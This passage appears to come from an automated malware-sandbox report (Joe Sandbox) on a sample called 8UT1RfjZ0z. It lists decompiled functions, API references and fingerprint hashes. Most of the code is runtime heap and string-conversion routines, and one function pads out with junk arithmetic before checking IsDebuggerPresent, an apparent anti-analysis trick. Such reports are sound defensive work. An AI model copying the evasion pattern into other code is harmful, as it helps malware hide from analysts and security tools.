				E004294C4(__ebx, __edi, __esi);
				_t57 =  *(_t79 + 8);
				if(_t57 != 0) {
					_t73 =  *(_t79 + 0xc);
					__eflags = _t73;
					if(__eflags != 0) {
						__eflags =  *0x43fae4 - 3;
						if( *0x43fae4 != 3) {
							while(1) {
								__eflags = _t73 - 0xffffffe0;
								if(_t73 > 0xffffffe0) {
									break;
								}
								__eflags = _t73;
								if(_t73 == 0) {
									_t73 = _t73 + 1;
									__eflags = _t73;
								}
								_t26 = HeapReAlloc( *0x43f4cc, 0, _t57, _t73);
								_t70 = _t26;
								__eflags = _t70;
								if(_t70 != 0) {
									L48:
									_t27 = _t70;
									goto L43;
								} else {
									__eflags =  *0x43f9ec - _t26;
									if( *0x43f9ec == _t26) {
										__eflags = _t70;
										if(__eflags != 0) {
											goto L48;
										}
										_t29 = E00429AEF(__eflags);
										L47:
										 *_t29 = E00429AB4(GetLastError());
										goto L48;
									}
									__eflags = E0042A718(_t73);
									if(__eflags == 0) {
										_t33 = E00429AEF(__eflags);
										L30:
										 *_t33 = E00429AB4(GetLastError());
										goto L42;
									}
									continue;
								}
							}
							L40:
							E0042A718(_t73);
							_t37 = E00429AEF(__eflags);
							L41:
							 *_t37 = 0xc;
							goto L42;
						} else {
							goto L5;
						}
						while(1) {
							L5:
							 *(_t79 - 0x1c) = 0;
							__eflags = _t73 - 0xffffffe0;
							if(_t73 > 0xffffffe0) {
								goto L40;
							}
							E00429908(_t57, _t68, 0, 4);
							 *((intOrPtr*)(_t79 - 4)) = 0;
							_t39 = E0042CCAD(_t57);
							 *(_t79 - 0x20) = _t39;
							__eflags = _t39;
							if(_t39 == 0) {
								L21:
								 *((intOrPtr*)(_t79 - 4)) = 0xfffffffe;
								E0042F275();
								__eflags =  *(_t79 - 0x20);
								if( *(_t79 - 0x20) != 0) {
									_t70 =  *(_t79 - 0x1c);
								} else {
									__eflags = _t73;
									if(_t73 == 0) {
										_t73 = _t73 + 1;
										__eflags = _t73;
									}
									_t73 = _t73 + 0x0000000f & 0xfffffff0;
									 *(_t79 + 0xc) = _t73;
									_t70 = HeapReAlloc( *0x43f4cc, 0, _t57, _t73);
								}
								__eflags = _t70;
								if(_t70 != 0) {
									goto L48;
								} else {
									__eflags =  *0x43f9ec - _t70;
									if( *0x43f9ec == _t70) {
										__eflags = _t70;
										if(__eflags != 0) {
											goto L48;
										}
										_t29 = E00429AEF(__eflags);
										__eflags =  *(_t79 - 0x20) - _t70;
										if( *(_t79 - 0x20) == _t70) {
											goto L47;
										}
										 *_t29 = 0xc;
										goto L48;
									}
									__eflags = E0042A718(_t73);
									if(__eflags != 0) {
										continue;
									}
									_t37 = E00429AEF(__eflags);
									__eflags =  *(_t79 - 0x20) - _t70;
									if( *(_t79 - 0x20) != _t70) {
										goto L41;
									}
									goto L30;
								}
							}
							__eflags = _t73 -  *0x43fac8; // 0x0
							if(__eflags <= 0) {
								_push(_t73);
								_push(_t57);
								_push(_t39);
								_t48 = E0042D1A2();
								_t80 = _t80 + 0xc;
								__eflags = _t48;
								if(_t48 == 0) {
									_push(_t73);
									_t49 = E0042D8D8();
									 *(_t79 - 0x1c) = _t49;
									__eflags = _t49;
									if(_t49 != 0) {
										_t51 =  *((intOrPtr*)(_t57 - 4)) - 1;
										__eflags = _t51 - _t73;
										if(_t51 >= _t73) {
											_t51 = _t73;
										}
										E0042B700(_t57, 0, _t73,  *(_t79 - 0x1c), _t57, _t51);
										_t53 = E0042CCAD(_t57);
										 *(_t79 - 0x20) = _t53;
										_push(_t57);
										_push(_t53);
										E0042CCD8();
										_t80 = _t80 + 0x18;
									}
								} else {
									 *(_t79 - 0x1c) = _t57;
								}
							}
							__eflags =  *(_t79 - 0x1c);
							if( *(_t79 - 0x1c) == 0) {
								__eflags = _t73;
								if(_t73 == 0) {
									_t73 = 1;
									__eflags = 1;
									 *(_t79 + 0xc) = 1;
								}
								_t73 = _t73 + 0x0000000f & 0xfffffff0;
								 *(_t79 + 0xc) = _t73;
								_t43 = HeapAlloc( *0x43f4cc, 0, _t73);
								 *(_t79 - 0x1c) = _t43;
								__eflags = _t43;
								if(_t43 != 0) {
									_t45 =  *((intOrPtr*)(_t57 - 4)) - 1;
									__eflags = _t45 - _t73;
									if(_t45 >= _t73) {
										_t45 = _t73;
									}
									E0042B700(_t57, 0, _t73,  *(_t79 - 0x1c), _t57, _t45);
									_push(_t57);
									_push( *(_t79 - 0x20));
									E0042CCD8();
									_t80 = _t80 + 0x14;
								}
							}
							goto L21;
						}
						goto L40;
					} else {
						_push(_t57);
						E0042B4FE(_t57, __edx, __edi, _t73, __eflags);
						L42:
						_t27 = 0;
						__eflags = 0;
						goto L43;
					}
				} else {
					_t27 = E0042EF11(_t57, __edx, __edi, __esi,  *(_t79 + 0xc));
					L43:
					return E00429509(_t27);
				}
			}

0x0042f131
0x0042f131
0x0042f133
0x0042f138
0x0042f13d
0x0042f142
0x0042f152
0x0042f155
0x0042f157
0x0042f165
0x0042f16c
0x0042f305
0x0042f305
0x0042f308
0x00000000
0x00000000
0x0042f2d7
0x0042f2d9
0x0042f2db
0x0042f2db
0x0042f2db
0x0042f2e6
0x0042f2ec
0x0042f2ee
0x0042f2f0
0x0042f348
0x0042f348
0x00000000
0x0042f2f2
0x0042f2f2
0x0042f2f8
0x0042f32e
0x0042f330
0x00000000
0x00000000
0x0042f332
0x0042f337
0x0042f345
0x00000000
0x0042f347
0x0042f301
0x0042f303
0x0042f324
0x0042f2aa
0x0042f2b9
0x00000000
0x0042f2b9
0x00000000
0x0042f303
0x0042f2f0
0x0042f30a
0x0042f30b
0x0042f311
0x0042f316
0x0042f316
0x00000000
0x00000000
0x00000000
0x00000000
0x0042f172
0x0042f172
0x0042f174
0x0042f177
0x0042f17a
0x00000000
0x00000000
0x0042f182
0x0042f188
0x0042f18c
0x0042f192
0x0042f195
0x0042f197
0x0042f23b
0x0042f23b
0x0042f242
0x0042f247
0x0042f24b
0x0042f27e
0x0042f24d
0x0042f24d
0x0042f24f
0x0042f251
0x0042f251
0x0042f251
0x0042f255
0x0042f258
0x0042f26b
0x0042f26b
0x0042f281
0x0042f283
0x00000000
0x0042f289
0x0042f289
0x0042f28f
0x0042f2bd
0x0042f2bf
0x00000000
0x00000000
0x0042f2c5
0x0042f2ca
0x0042f2cd
0x00000000
0x00000000
0x0042f2cf
0x00000000
0x0042f2cf
0x0042f298
0x0042f29a
0x00000000
0x00000000
0x0042f2a0
0x0042f2a5
0x0042f2a8
0x00000000
0x00000000
0x00000000
0x0042f2a8
0x0042f283
0x0042f19d
0x0042f1a3
0x0042f1a5
0x0042f1a6
0x0042f1a7
0x0042f1a8
0x0042f1ad
0x0042f1b0
0x0042f1b2
0x0042f1b9
0x0042f1ba
0x0042f1c0
0x0042f1c3
0x0042f1c5
0x0042f1ca
0x0042f1cb
0x0042f1cd
0x0042f1cf
0x0042f1cf
0x0042f1d6
0x0042f1dc
0x0042f1e1
0x0042f1e4
0x0042f1e5
0x0042f1e6
0x0042f1eb
0x0042f1eb
0x0042f1b4
0x0042f1b4
0x0042f1b4
0x0042f1b2
0x0042f1ee
0x0042f1f1
0x0042f1f3
0x0042f1f5
0x0042f1f9
0x0042f1f9
0x0042f1fa
0x0042f1fa
0x0042f200
0x0042f203
0x0042f20e
0x0042f214
0x0042f217
0x0042f219
0x0042f21e
0x0042f21f
0x0042f221
0x0042f223
0x0042f223
0x0042f22a
0x0042f22f
0x0042f230
0x0042f233
0x0042f238
0x0042f238
0x0042f219
0x00000000
0x0042f1f1
0x00000000
0x0042f159
0x0042f159
0x0042f15a
0x0042f31c
0x0042f31c
0x0042f31c
0x00000000
0x0042f31c
0x0042f144
0x0042f147
0x0042f31e
0x0042f323
0x0042f323

APIs

GetLastError.KERNEL32 ref: 0042F339

Part of subcall function 00429908: EnterCriticalSection.KERNEL32(?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 00429930

Part of subcall function 0042B4FE: HeapFree.KERNEL32(00000000,?,0043AEB0), ref: 0042B566
Part of subcall function 0042B4FE: GetLastError.KERNEL32(?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 0042B577

___sbh_resize_block.LIBC ref: 0042F1A8
HeapAlloc.KERNEL32(00000000,?,0043AFC8,00000010,0042F38F,00000000,00000002,00000000,0042B6A5,00000004,00000004,00000004,00000000,00000000,0043805F,00000004), ref: 0042F20E

Part of subcall function 0042CCD8: VirtualFree.KERNEL32(?,00008000,00004000,00000000,00000000,?), ref: 0042CF1F
Part of subcall function 0042CCD8: VirtualFree.KERNEL32(?,00000000,00008000), ref: 0042CF7A
Part of subcall function 0042CCD8: HeapFree.KERNEL32(00000000,?), ref: 0042CF8C

HeapReAlloc.KERNEL32(00000000,?,?,0043AFC8,00000010,0042F38F,00000000,00000002,00000000,0042B6A5,00000004,00000004,00000004,00000000,00000000,0043805F), ref: 0042F265
GetLastError.KERNEL32(0043AFC8,00000010,0042F38F,00000000,00000002,00000000,0042B6A5,00000004,00000004,00000004,00000000,00000000,0043805F,00000004,00000002), ref: 0042F2AC
HeapReAlloc.KERNEL32(00000000,?,?,0043AFC8,00000010,0042F38F,00000000,00000002,00000000,0042B6A5,00000004,00000004,00000004,00000000,00000000,0043805F), ref: 0042F2E6

Part of subcall function 0042EF11: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,0042B5CA,?,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?), ref: 0042EF89

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$AllocFree$ErrorLast$Virtual$CriticalEnterSection___sbh_resize_block
String ID:
API String ID: 1978709766-0
Opcode ID: 4b5727ba88f312c4ea665233e41bbd741ee739581fa8ec29486b76a14a7ef7c3
Instruction ID: e4c005160ce6ce5c281b98131973aa0b46aee18928cbbdd0d0a050ee3df25973
Opcode Fuzzy Hash: 4b5727ba88f312c4ea665233e41bbd741ee739581fa8ec29486b76a14a7ef7c3
Instruction Fuzzy Hash: 8A51C071F00635EACF21AB66BC4566F7A78AB50364BE0413BEC5497281DB3C8C058BAD

Function 0042F131, Relevance: 9.2, APIs: 6, Instructions: 181memory

APIs

___sbh_resize_block.LIBC ref: 0042F1A8
RtlAllocateHeap.NTDLL(00000000,?), ref: 0042F20E
RtlReAllocateHeap.NTDLL(00000000,?,?), ref: 0042F265
GetLastError.KERNEL32 ref: 0042F2AC
RtlReAllocateHeap.NTDLL(00000000,?,?), ref: 0042F2E6
GetLastError.KERNEL32 ref: 0042F339

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: AllocateHeap$ErrorLast$___sbh_resize_block
String ID:
API String ID: 2717746579-0
Opcode ID: f126a9f5a5e925064440dad6a75bd8ee7fd6c8525419937f22e67e5a20e4a5e3
Instruction ID: e4c005160ce6ce5c281b98131973aa0b46aee18928cbbdd0d0a050ee3df25973
Opcode Fuzzy Hash: f126a9f5a5e925064440dad6a75bd8ee7fd6c8525419937f22e67e5a20e4a5e3
Instruction Fuzzy Hash: 8A51C071F00635EACF21AB66BC4566F7A78AB50364BE0413BEC5497281DB3C8C058BAD

Function 0042EC55, Relevance: 9.2, APIs: 6, Instructions: 165

C-Code - Quality: 88%

			E0042EC55(intOrPtr* __ecx, void* __edx, int _a4, char* _a8, int _a12, short* _a16, int _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				short _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t44;
				intOrPtr _t46;
				void* _t47;
				short _t48;
				short _t49;
				int _t63;
				short* _t67;
				long _t73;
				short* _t75;
				void* _t76;
				void* _t85;
				intOrPtr* _t87;
				short _t88;
				void* _t89;
				int _t90;
				char* _t92;
				void* _t93;
				signed int _t97;
				short* _t98;
				void* _t106;

				_t85 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t44 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t44 ^ _t97;
				_t46 =  *0x43f6bc; // 0x0
				_t75 = 0;
				_t87 = __ecx;
				if(_t46 != 0) {
					L6:
					__eflags = _t46 - 2;
					if(_t46 == 2) {
						L25:
						_t92 = 0;
						__eflags = _a24 - _t75;
						if(_a24 == _t75) {
							_a24 =  *((intOrPtr*)( *_t87 + 0x14));
						}
						__eflags = _a20 - _t75;
						if(_a20 == _t75) {
							_a20 =  *((intOrPtr*)( *_t87 + 4));
						}
						_t47 = E004353EC(_t75, _t85, _t87, _t92, _a24);
						__eflags = _t47 - 0xffffffff;
						if(_t47 != 0xffffffff) {
							__eflags = _t47 - _a20;
							if(_t47 == _a20) {
								L34:
								_t48 = GetStringTypeA(_a24, _a4, _a8, _a12, _a16);
								__eflags = _t92 - _t75;
								_t88 = _t48;
								if(__eflags != 0) {
									_push(_t92);
									E0042B4FE(_t75, _t85, _t88, _t92, __eflags);
								}
								_t49 = _t88;
								goto L37;
							}
							_t92 = E00435433(_t85, _a20, _t47, _a8,  &_a12, _t75, _t75);
							__eflags = _t92 - _t75;
							if(_t92 == _t75) {
								goto L30;
							}
							_a8 = _t92;
							goto L34;
						} else {
							L30:
							_t49 = 0;
							L37:
							_pop(_t89);
							_pop(_t93);
							_pop(_t76);
							return E0042DBBB(_t49, _t76, _v8 ^ _t97, _t85, _t89, _t93);
						}
					}
					__eflags = _t46 - _t75;
					if(_t46 == _t75) {
						goto L25;
					}
					__eflags = _t46 - 1;
					if(_t46 != 1) {
						goto L30;
					}
					L9:
					_v12 = _t75;
					if(_a20 == _t75) {
						_a20 =  *((intOrPtr*)( *_t87 + 4));
					}
					_t90 = MultiByteToWideChar(_a20, 1 + (0 | _a28 != _t75) * 8, _a8, _a12, _t75, _t75);
					_t106 = _t90 - _t75;
					if(_t106 == 0) {
						goto L30;
					} else {
						if(_t106 <= 0 || _t90 > 0x7ffffff0) {
							L21:
							if(_t75 == 0) {
								goto L30;
							}
							E0042DD30(_t90, _t75, 0, _t90 + _t90);
							_t63 = MultiByteToWideChar(_a20, 1, _a8, _a12, _t75, _t90);
							if(_t63 != 0) {
								_v12 = GetStringTypeW(_a4, _t75, _t63, _a16);
							}
							E0042E54D(_t75);
							_t49 = _v12;
							goto L37;
						} else {
							_t16 = _t90 + 8; // 0x8
							_t66 = _t90 + _t16;
							if(_t90 + _t16 > 0x400) {
								_t67 = E0042EF11(_t75, _t85, _t90, MultiByteToWideChar, _t66);
								__eflags = _t67 - _t75;
								if(_t67 == _t75) {
									L20:
									_t75 = _t67;
									goto L21;
								}
								 *_t67 = 0xdddd;
								L19:
								_t67 =  &(_t67[4]);
								goto L20;
							}
							E004353C0(_t66);
							_t67 = _t98;
							if(_t67 == _t75) {
								goto L20;
							}
							 *_t67 = 0xcccc;
							goto L19;
						}
					}
				}
				if(GetStringTypeW(1, 0x439aac, 1,  &_v12) == 0) {
					_t73 = GetLastError();
					__eflags = _t73 - 0x78;
					if(_t73 != 0x78) {
						_t46 =  *0x43f6bc; // 0x0
					} else {
						_t46 = 2;
						 *0x43f6bc = _t46;
					}
					goto L6;
				}
				 *0x43f6bc = 1;
				goto L9;
			}

0x0042ec55
0x0042ec58
0x0042ec59
0x0042ec5a
0x0042ec61
0x0042ec64
0x0042ec6b
0x0042ec70
0x0042ec72
0x0042ecae
0x0042ecae
0x0042ecb1
0x0042ed86
0x0042ed86
0x0042ed88
0x0042ed8b
0x0042ed92
0x0042ed92
0x0042ed95
0x0042ed98
0x0042ed9f
0x0042ed9f
0x0042eda5
0x0042edaa
0x0042edae
0x0042edb4
0x0042edb7
0x0042edd7
0x0042ede6
0x0042edec
0x0042edee
0x0042edf0
0x0042edf2
0x0042edf3
0x0042edf8
0x0042edf9
0x00000000
0x0042edf9
0x0042edcb
0x0042edd0
0x0042edd2
0x00000000
0x00000000
0x0042edd4
0x00000000
0x0042edb0
0x0042edb0
0x0042edb0
0x0042edfb
0x0042edfe
0x0042edff
0x0042ee00
0x0042ee0c
0x0042ee0c
0x0042edae
0x0042ecb7
0x0042ecb9
0x00000000
0x00000000
0x0042ecbf
0x0042ecc2
0x00000000
0x00000000
0x0042ecc8
0x0042eccb
0x0042ecce
0x0042ecd5
0x0042ecd5
0x0042ecfb
0x0042ecfd
0x0042ecff
0x00000000
0x0042ed05
0x0042ed05
0x0042ed43
0x0042ed45
0x00000000
0x00000000
0x0042ed4e
0x0042ed63
0x0042ed67
0x0042ed77
0x0042ed77
0x0042ed7b
0x0042ed80
0x00000000
0x0042ed0f
0x0042ed0f
0x0042ed0f
0x0042ed18
0x0042ed2e
0x0042ed33
0x0042ed36
0x0042ed41
0x0042ed41
0x00000000
0x0042ed41
0x0042ed38
0x0042ed3e
0x0042ed3e
0x00000000
0x0042ed3e
0x0042ed1a
0x0042ed1f
0x0042ed23
0x00000000
0x00000000
0x0042ed25
0x00000000
0x0042ed25
0x0042ed05
0x0042ecff
0x0042ec8a
0x0042ec94
0x0042ec9a
0x0042ec9d
0x0042eca9
0x0042ec9f
0x0042eca1
0x0042eca2
0x0042eca2
0x00000000
0x0042ec9d
0x0042ec8c
0x00000000

APIs

GetStringTypeW.KERNEL32(00000001,00439AAC,00000001,?,00000100,?,?,?,?,?,0042EE3B,?,?,?,?,?), ref: 0042EC82
GetLastError.KERNEL32(?,0042EE3B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0042EC94
MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,?,?,?,?,?,0042EE3B,?,?,?), ref: 0042ECF9

Part of subcall function 0042EF11: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,0042B5CA,?,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?), ref: 0042EF89

MultiByteToWideChar.KERNEL32(00000000,00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,00000000), ref: 0042ED63
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0042ED71

Part of subcall function 004353EC: GetLocaleInfoA.KERNEL32(?,00001004,?,00000006,?,?,?,?,?,?,00000000), ref: 0043540E

GetStringTypeA.KERNEL32(?,?,?,?,?,00000100,?,?,?,?,?,0042EE3B,?,?,?,?), ref: 0042EDE6

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Part of subcall function 0042B4FE: HeapFree.KERNEL32(00000000,?,0043AEB0), ref: 0042B566
Part of subcall function 0042B4FE: GetLastError.KERNEL32(?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 0042B577

Part of subcall function 00435433: GetCPInfo.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,0042EE3B,?,?,?,?,?,?), ref: 0043547C
Part of subcall function 00435433: GetCPInfo.KERNEL32(?,00000001,?,0042EE3B,?,?), ref: 00435495
Part of subcall function 00435433: _strlen.LIBCMT ref: 004354B3
Part of subcall function 00435433: MultiByteToWideChar.KERNEL32(?,00000001,?,0042EE3B,00000000,00000000,?,0042EE3B,?,?,?,?,?,?,?,?), ref: 004354F3
Part of subcall function 00435433: MultiByteToWideChar.KERNEL32(?,00000001,?,0042EE3B,?,00000000,?,?,?,?,?,?,?,0042EE3B,?,?), ref: 00435542
Part of subcall function 00435433: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,0042EE3B), ref: 0043555D
Part of subcall function 00435433: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,0042EE3B), ref: 00435583
Part of subcall function 00435433: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,0042EE3B), ref: 004355A8

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ByteCharMultiWide$InfoStringType$ErrorExceptionFilterHeapLastProcessUnhandled$AllocCurrentDebuggerFreeLocalePresentTerminate_strlen
String ID:
API String ID: 3073855544-0
Opcode ID: e276df9be0878fbe6711d864aad08064f6af4f0e57b1dbc4aad25d3f037218b5
Instruction ID: 64cec38d8d377934e139659f9db1e281dfbb1baeb4d973782757b5c644e14145
Opcode Fuzzy Hash: e276df9be0878fbe6711d864aad08064f6af4f0e57b1dbc4aad25d3f037218b5
Instruction Fuzzy Hash: 8151A17261012AEFDF109F66EC819AF7BA9FF08354B94442BF904D7250D738DD618BA8

Function 004185C0, Relevance: 9.1, APIs: 6, Instructions: 110filememory

APIs

Part of subcall function 00417E50: GetProcessHeap.KERNEL32(00000008,00000208), ref: 00417E72
Part of subcall function 00417E50: HeapAlloc.KERNEL32(00000000), ref: 00417E79
Part of subcall function 00417E50: GetModuleFileNameW.KERNEL32(00000104,00000000,00000104), ref: 00417E94
Part of subcall function 00417E50: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00417EBD
Part of subcall function 00417E50: HeapFree.KERNEL32(00000000), ref: 00417EC4
Part of subcall function 00417E50: GetProcessHeap.KERNEL32(00000008,00000104), ref: 00417ED2
Part of subcall function 00417E50: HeapAlloc.KERNEL32(00000000), ref: 00417ED9
Part of subcall function 00417E50: GetLastError.KERNEL32 ref: 00417EFA
Part of subcall function 00417E50: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00417F09
Part of subcall function 00417E50: HeapFree.KERNEL32(00000000), ref: 00417F10

Part of subcall function 00415B60: lstrcmpA.KERNEL32(0000000B,00000000), ref: 00415C35

CreateFileW.KERNEL32(004011B9,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00418687
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000000), ref: 004186A2
ReadFile.KERNEL32(000000FF,?,00000004,?,00000000), ref: 004186BD
CloseHandle.KERNEL32(000000FF), ref: 004186DA

Part of subcall function 00418CF0: GetModuleHandleA.KERNEL32(00000000,00000000,0000000D,0000001E), ref: 00418E9E
Part of subcall function 00418CF0: GetProcAddress.KERNEL32(00000000), ref: 00418EA5

GetProcessHeap.KERNEL32(00000000,004011B9), ref: 004186F8
HeapFree.KERNEL32(00000000), ref: 004186FF

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$File$Free$AllocHandleModule$AddressCloseCreateErrorLastNamePointerProcReadlstrcmp
String ID:
API String ID: 2107661214-0
Opcode ID: 8e6ef320969fb465956a943f1916f2312dc603cd8f607ccd1f0e063cff3d55cd
Instruction ID: f6eb09c78d5698912af5dfa4732d1d91849f9c5506a37c009238a80637ad48b7
Opcode Fuzzy Hash: 8e6ef320969fb465956a943f1916f2312dc603cd8f607ccd1f0e063cff3d55cd
Instruction Fuzzy Hash: 254183B5D40208ABDF10DBA4DC95BEF77B4AB44704F10811DF505AA281DB79DA84CFA9

Function 00427720, Relevance: 9.1, APIs: 6, Instructions: 83
thread

C-Code - Quality: 92%

			E00427720() {
				struct _OSVERSIONINFOA _v164;
				signed int _v168;
				signed int _v172;
				intOrPtr* _v176;
				char _v180;
				signed int _v184;
				signed int* _v188;
				intOrPtr _v192;
				intOrPtr* _v196;
				signed int _v200;
				signed int _v204;
				char _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				intOrPtr _v228;
				signed int* _v232;

				_v168 = 0xfedd9032;
				_v192 = 0x19ee;
				asm("cdq");
				_v200 = _v168 / (_v192 + 1);
				_v180 = 0x9ed3;
				_v212 = 0xb5;
				_v196 =  &_v180;
				_v204 =  *_v196 + _v212;
				_v224 = 0xb17;
				_v224 = _v204;
				_v228 = 0;
				while(_v228 < 4) {
					_v220 = 0xf5e4afcc;
					_v232 =  &_v220;
					_v216 = 0xbfad;
					_v168 = ( *_v232 | 0x000020ab) * (_v220 & _v216) + _v168;
					GetCurrentThread();
					_v228 = _v228 + 1;
				}
				GetTickCount();
				_v184 = 0xf28de67c;
				_v172 = 0x7f;
				asm("cdq");
				_v172 = _v184 / (_v172 + 1) * _v172;
				_v172 = ((_v224 & 0x0000eeee) + _v212) * _v172;
				_v188 =  &_v204;
				_v200 = ( *_v188 | _v212) * _v204 + _v200;
				_v208 = 0xf0998465;
				_v176 =  &_v208;
				_v208 = _v204 +  *_v176 + _v208;
				GetEnvironmentStringsW();
				IsDebuggerPresent();
				GetVersionExA( &_v164);
				return GetCurrentThread();
			}

0x00427729
0x00427733
0x0042774c
0x0042774f
0x00427755
0x0042775f
0x0042776f
0x00427783
0x00427789
0x00427799
0x0042779f
0x004277ba
0x004277c3
0x004277d3
0x004277d9
0x00427805
0x0042780b
0x004277b4
0x004277b4
0x00427813
0x00427819
0x00427823
0x0042783c
0x00427846
0x00427865
0x00427871
0x00427892
0x00427898
0x004278a8
0x004278c2
0x004278c8
0x004278ce
0x004278db
0x004278ea

APIs

GetCurrentThread.KERNEL32 ref: 0042780B
GetTickCount.KERNEL32 ref: 00427813
GetEnvironmentStringsW.KERNEL32 ref: 004278C8
IsDebuggerPresent.KERNEL32 ref: 004278CE
GetVersionExA.KERNEL32(?), ref: 004278DB
GetCurrentThread.KERNEL32 ref: 004278E1

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CurrentThread$CountDebuggerEnvironmentPresentStringsTickVersion
String ID:
API String ID: 3721986318-0
Opcode ID: f885dfdd5a66d167d552a1339cfcedfb9dc1b7a59eeb67b64183c61675270faf
Instruction ID: 3de14db597bf7ea13993fe9f266cf0b743d47c1314bf2f01ad610f13a82416a8
Opcode Fuzzy Hash: f885dfdd5a66d167d552a1339cfcedfb9dc1b7a59eeb67b64183c61675270faf
Instruction Fuzzy Hash: 2B419B74A01228CFEB68CF54DD84B98B7B2BF89304F0082DAD54DAB250D7746E89CF55

Function 00410D90, Relevance: 9.1, APIs: 6, Instructions: 55memorystring

APIs

lstrlenW.KERNEL32(00000000), ref: 00410DAD
GetProcessHeap.KERNEL32(00000008,000000FE), ref: 00410DBF
HeapAlloc.KERNEL32(00000000), ref: 00410DC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,000000FE,00000000,00000000), ref: 00410DF0

Part of subcall function 00411470: lstrlenA.KERNEL32(00000000,00000000), ref: 0041149A
Part of subcall function 00411470: GetProcessHeap.KERNEL32(00000008,-00000001,?,00000000), ref: 004114EC
Part of subcall function 00411470: HeapAlloc.KERNEL32(00000000,?,00000000), ref: 004114F3
Part of subcall function 00411470: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00000000), ref: 00411584
Part of subcall function 00411470: HeapFree.KERNEL32(00000000), ref: 0041158B

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00410E13
HeapFree.KERNEL32(00000000), ref: 00410E1A

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFreelstrlen$ByteCharMultiWide
String ID:
API String ID: 1223231658-0
Opcode ID: 5abeddcc0257635193667a878569bc86d9872e7f8066177c0cc88e963b08e655
Instruction ID: 8279e168640ae185a1b79be18f4e1c77093ffacdc72955f3f21737d2a5de9b24
Opcode Fuzzy Hash: 5abeddcc0257635193667a878569bc86d9872e7f8066177c0cc88e963b08e655
Instruction Fuzzy Hash: F7113D74980208FBEB10DFA4DC89BDE7BB9AB49715F10C119FA199B281D6749A80CF58

Function 00402F40, Relevance: 9.1, APIs: 6, Instructions: 51memory

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00402F5C
